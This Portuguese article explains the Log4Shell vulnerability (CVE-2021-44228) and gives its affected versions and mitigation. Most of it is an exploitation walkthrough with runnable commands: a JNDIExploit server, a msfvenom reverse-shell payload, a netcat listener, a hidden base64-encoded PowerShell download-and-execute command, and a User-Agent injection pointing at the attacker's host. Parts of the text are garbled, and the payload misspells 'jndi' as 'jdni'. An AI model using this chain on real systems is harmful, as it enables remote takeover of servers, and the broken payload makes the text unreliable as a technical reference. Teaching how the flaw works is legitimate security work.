
# Log4Shell (CVE-2021-44228): Descrição, Exploitation e Mitigação
Em 9 de dezembro de 2021, o mundo tomou conhecimento de uma nova falha de segurança envolvendo o Log4J. A pontuação CVSSv3 (Common Vulnerability Scoring System) da vulnerabilidade foi avaliada em 10, tornando-a assim de nível crítico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
O seu vetor CVSSv3 é o seguinte: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Vamos esclarecer um pouco os valores para que o motivo da avaliação possa ser plenamente compreendido:
O Log4J é uma biblioteca Java, agora parte do projeto Apache Software Foundation, que permite manter sob controle o estado de uma aplicação.
É o padrão de facto para logging de aplicações Java.
A vulnerabilidade baseia-se em JNDI (Java Naming and Directory Interface): uma API Java que permite a uma aplicação interagir com um serviço de diretório externo (por exemplo, LDAP).
A interação ocorre por meio da funcionalidade de lookup do JNDI que, habilitada nas configurações padrão do Log4J, permite a interação com um servidor remoto.
Algumas pequenas observações úteis para a leitura:
10.0.0.110.0.0.2x8680 e acessível no URL http://hackme.com| ❗ ATENÇÃO ❗ |
|---|
| A técnica de ataque descrita a seguir deve servir apenas para compreender a periculosidade efetiva da vulnerabilidade em questão. O autor se distancia e condena qualquer uso indevido do artigo a seguir. |
O objetivo do ataque a seguir é explorar o Log4Shell para conseguir baixar e executar uma reverse shell no sistema vulnerável, obtendo assim o controle total dele.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom, de modo a podermos receber, na porta 8888, o acesso remoto à máquinamsfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc, na porta 8888, para receber a conexão da reverse shell carregada na máquina vulnerávelnc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp e executá-lopowershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64 por meio do seguinte comandoecho 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
O resultado do comando anterior é o seguinte:
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent de um visitante. O atacante envia uma requisição semelhante a:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
é passada ao Log4J, que a interpreta e, por meio de JNDI, efetua a requisição ao servidor LDAP do atacante
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
O malware é baixado e executado.
O atacante obtém uma shell da máquina na porta 8888.
Antes de tudo, é importante lembrar que é uma vulnerabilidade que afeta SOMENTE softwares que utilizam Java ou algum derivado (e, obviamente, Log4J como biblioteca de logging).
2.0-beta9 - 2.14.1: As versões vulneráveis ao Log4Shell vão de 2.0-beta9 a 2.14.1.2.15.0: A versão 2.15.0 do Log4J foi considerada vulnerável. CVE-2021-45046. Atualmente, a avaliação da vulnerabilidade é "9.0 Critical".2.16.0: A versão 2.16.0 do Log4J foi considerada vulnerável. CVE-2021-45105. Atualmente, a avaliação da vulnerabilidade é "7.5 High".A versão 1.x do Log4J não é estritamente vulnerável à falha de segurança em questão, mas, além de ter sido descontinuada em 2015, é afetada pela seguinte vulnerabilidade: CVE-2021-4104.
A melhor solução é atualizar o Log4J para a versão 2.17.0.